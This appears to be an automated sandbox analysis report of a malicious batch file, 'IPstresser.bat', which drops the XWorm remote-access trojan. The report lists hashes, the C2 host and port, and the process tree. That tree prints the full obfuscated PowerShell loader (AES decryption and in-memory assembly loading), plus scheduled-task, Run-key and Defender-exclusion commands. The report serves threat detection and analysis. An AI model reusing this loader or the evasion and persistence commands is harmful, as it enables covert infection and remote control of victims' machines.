Analysis
-
max time kernel
143s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 02:35
Static task
static1
Behavioral task
behavioral1
Sample
IPstresser.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
IPstresser.bat
Resource
win10v2004-20240226-en
General
-
Target
IPstresser.bat
-
Size
104KB
-
MD5
9961f5a480e3b1f40284111352e26ef9
-
SHA1
d764ca52b356a0dddfa35fe99555be1b5cf2999c
-
SHA256
239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4
-
SHA512
7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a
-
SSDEEP
1536:7nOs1HXZcHbLD8V9u86pOzbpdYU3rKeNHcedVdzng6nFFKdEmgRUGONJtrA:rOsR+bkV9UpOzNd33uehRd7g6FFaqONc
Malware Config
Extracted
xworm
continue-silk.gl.at.ply.gg:58347
127.0.0.1:58347
-
Install_directory
%ProgramData%
-
install_file
svchost.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/5084-51-0x000001C09E6D0000-0x000001C09E6EC000-memory.dmp family_xworm -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 32 5084 powershell.exe 54 5084 powershell.exe 63 5084 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
svchost.exepid process 4232 svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 31 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 48 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exepid process 4620 powershell.exe 4620 powershell.exe 4628 powershell.exe 4628 powershell.exe 4628 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 4904 powershell.exe 4904 powershell.exe 4904 powershell.exe 3784 powershell.exe 3784 powershell.exe 3784 powershell.exe 5076 powershell.exe 5076 powershell.exe 5076 powershell.exe 1600 powershell.exe 1600 powershell.exe 1600 powershell.exe 5084 powershell.exe 4232 svchost.exe 4232 svchost.exe 4232 svchost.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe 5084 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4620 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeIncreaseQuotaPrivilege 4628 powershell.exe Token: SeSecurityPrivilege 4628 powershell.exe Token: SeTakeOwnershipPrivilege 4628 powershell.exe Token: SeLoadDriverPrivilege 4628 powershell.exe Token: SeSystemProfilePrivilege 4628 powershell.exe Token: SeSystemtimePrivilege 4628 powershell.exe Token: SeProfSingleProcessPrivilege 4628 powershell.exe Token: SeIncBasePriorityPrivilege 4628 powershell.exe Token: SeCreatePagefilePrivilege 4628 powershell.exe Token: SeBackupPrivilege 4628 powershell.exe Token: SeRestorePrivilege 4628 powershell.exe Token: SeShutdownPrivilege 4628 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeSystemEnvironmentPrivilege 4628 powershell.exe Token: SeRemoteShutdownPrivilege 4628 powershell.exe Token: SeUndockPrivilege 4628 powershell.exe Token: SeManageVolumePrivilege 4628 powershell.exe Token: 33 4628 powershell.exe Token: 34 4628 powershell.exe Token: 35 4628 powershell.exe Token: 36 4628 powershell.exe Token: SeIncreaseQuotaPrivilege 4628 powershell.exe Token: SeSecurityPrivilege 4628 powershell.exe Token: SeTakeOwnershipPrivilege 4628 powershell.exe Token: SeLoadDriverPrivilege 4628 powershell.exe Token: SeSystemProfilePrivilege 4628 powershell.exe Token: SeSystemtimePrivilege 4628 powershell.exe Token: SeProfSingleProcessPrivilege 4628 powershell.exe Token: SeIncBasePriorityPrivilege 4628 powershell.exe Token: SeCreatePagefilePrivilege 4628 powershell.exe Token: SeBackupPrivilege 4628 powershell.exe Token: SeRestorePrivilege 4628 powershell.exe Token: SeShutdownPrivilege 4628 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeSystemEnvironmentPrivilege 4628 powershell.exe Token: SeRemoteShutdownPrivilege 4628 powershell.exe Token: SeUndockPrivilege 4628 powershell.exe Token: SeManageVolumePrivilege 4628 powershell.exe Token: 33 4628 powershell.exe Token: 34 4628 powershell.exe Token: 35 4628 powershell.exe Token: 36 4628 powershell.exe Token: SeIncreaseQuotaPrivilege 4628 powershell.exe Token: SeSecurityPrivilege 4628 powershell.exe Token: SeTakeOwnershipPrivilege 4628 powershell.exe Token: SeLoadDriverPrivilege 4628 powershell.exe Token: SeSystemProfilePrivilege 4628 powershell.exe Token: SeSystemtimePrivilege 4628 powershell.exe Token: SeProfSingleProcessPrivilege 4628 powershell.exe Token: SeIncBasePriorityPrivilege 4628 powershell.exe Token: SeCreatePagefilePrivilege 4628 powershell.exe Token: SeBackupPrivilege 4628 powershell.exe Token: SeRestorePrivilege 4628 powershell.exe Token: SeShutdownPrivilege 4628 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeSystemEnvironmentPrivilege 4628 powershell.exe Token: SeRemoteShutdownPrivilege 4628 powershell.exe Token: SeUndockPrivilege 4628 powershell.exe Token: SeManageVolumePrivilege 4628 powershell.exe Token: 33 4628 powershell.exe Token: 34 4628 powershell.exe Token: 35 4628 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 5084 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 4908 wrote to memory of 4620 4908 cmd.exe powershell.exe PID 4908 wrote to memory of 4620 4908 cmd.exe powershell.exe PID 4620 wrote to memory of 4628 4620 powershell.exe powershell.exe PID 4620 wrote to memory of 4628 4620 powershell.exe powershell.exe PID 4620 wrote to memory of 4256 4620 powershell.exe WScript.exe PID 4620 wrote to memory of 4256 4620 powershell.exe WScript.exe PID 4256 wrote to memory of 1436 4256 WScript.exe cmd.exe PID 4256 wrote to memory of 1436 4256 WScript.exe cmd.exe PID 1436 wrote to memory of 5084 1436 cmd.exe powershell.exe PID 1436 wrote to memory of 5084 1436 cmd.exe powershell.exe PID 5084 wrote to memory of 4904 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 4904 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 3784 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 3784 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 5076 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 5076 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 1600 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 1600 5084 powershell.exe powershell.exe PID 5084 wrote to memory of 1664 5084 powershell.exe schtasks.exe PID 5084 wrote to memory of 1664 5084 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_319_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_319.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_319.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_319.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_319.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_319.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"6⤵
- Creates scheduled task(s)
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3864 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵
-
C:\ProgramData\svchost.exeC:\ProgramData\svchost.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f4 0x4b01⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\svchost.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5773440cd6eb4e778c7d2115d1f231f75
SHA14b600aa41fcd267817961c95b104a0717c40e558
SHA25664c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c
SHA512af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5f0a41fc9c1123bb127e55ecc66c8f052
SHA157152411758fa3df2623cc8a4df6d9fea73652f8
SHA256a4fe2be2c449e841f6a12d32114672b097fc1058b6f2971a03521220a0228745
SHA512e3e967adac361ddcf8240cf641f3e77eacfefc61dec725b8ae12e6a94f7d2ebd937fb9eb3cd068a0b3d4306e163dc87773b322bc2dd8b7df93b8103d0e99a900
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD53b444d3f0ddea49d84cc7b3972abe0e6
SHA10a896b3808e68d5d72c2655621f43b0b2c65ae02
SHA256ab075b491d20c6f66c7bd40b57538c1cfdaab5aac4715bfe3bbc7f4745860a74
SHA512eb0ab5d68472ec42de4c9b6d84306d7bca3874be1d0ac572030a070f21a698432418068e1a6006ff88480be8c8f54c769dee74b2def403f734109dba7261f36b
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qmxz5jic.jhc.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\startup_str_319.batFilesize
104KB
MD59961f5a480e3b1f40284111352e26ef9
SHA1d764ca52b356a0dddfa35fe99555be1b5cf2999c
SHA256239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4
SHA5127220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a
-
C:\Users\Admin\AppData\Roaming\startup_str_319.vbsFilesize
115B
MD5b1982a68569e26efe1183e98c3203f48
SHA1d465ee5d9b35e9f2f2366e86f0cec04aa28024de
SHA2561f6f201f5e262f58bfa0a79ad006d8b81e9843b34de18f24490f2add0ad6222d
SHA5126b78fdbf1e920981d960822866bac270526cff69c4f04300700d6f93737586645458cea94ff29bddf5b00c32d997559bbf009b67738b74fd83a962f050858f90
-
memory/4232-109-0x00000280C59C0000-0x00000280C5A04000-memory.dmpFilesize
272KB
-
memory/4232-110-0x00000280C5A90000-0x00000280C5B06000-memory.dmpFilesize
472KB
-
memory/4620-6-0x0000025ED3F10000-0x0000025ED3F32000-memory.dmpFilesize
136KB
-
memory/4620-14-0x0000025ED3D80000-0x0000025ED3D88000-memory.dmpFilesize
32KB
-
memory/4620-10-0x00007FF9872D0000-0x00007FF987D91000-memory.dmpFilesize
10.8MB
-
memory/4620-11-0x0000025ED3D90000-0x0000025ED3DA0000-memory.dmpFilesize
64KB
-
memory/4620-12-0x0000025ED3D90000-0x0000025ED3DA0000-memory.dmpFilesize
64KB
-
memory/4620-40-0x00007FF9872D0000-0x00007FF987D91000-memory.dmpFilesize
10.8MB
-
memory/4620-13-0x0000025ED3D90000-0x0000025ED3DA0000-memory.dmpFilesize
64KB
-
memory/4620-15-0x0000025ED4B10000-0x0000025ED4B26000-memory.dmpFilesize
88KB
-
memory/4628-17-0x00007FF9872D0000-0x00007FF987D91000-memory.dmpFilesize
10.8MB
-
memory/4628-19-0x0000028EE8E50000-0x0000028EE8E60000-memory.dmpFilesize
64KB
-
memory/4628-31-0x00007FF9872D0000-0x00007FF987D91000-memory.dmpFilesize
10.8MB
-
memory/4628-18-0x0000028EE8E50000-0x0000028EE8E60000-memory.dmpFilesize
64KB
-
memory/5084-51-0x000001C09E6D0000-0x000001C09E6EC000-memory.dmpFilesize
112KB
-
memory/5084-111-0x000001C0857E0000-0x000001C0857EC000-memory.dmpFilesize
48KB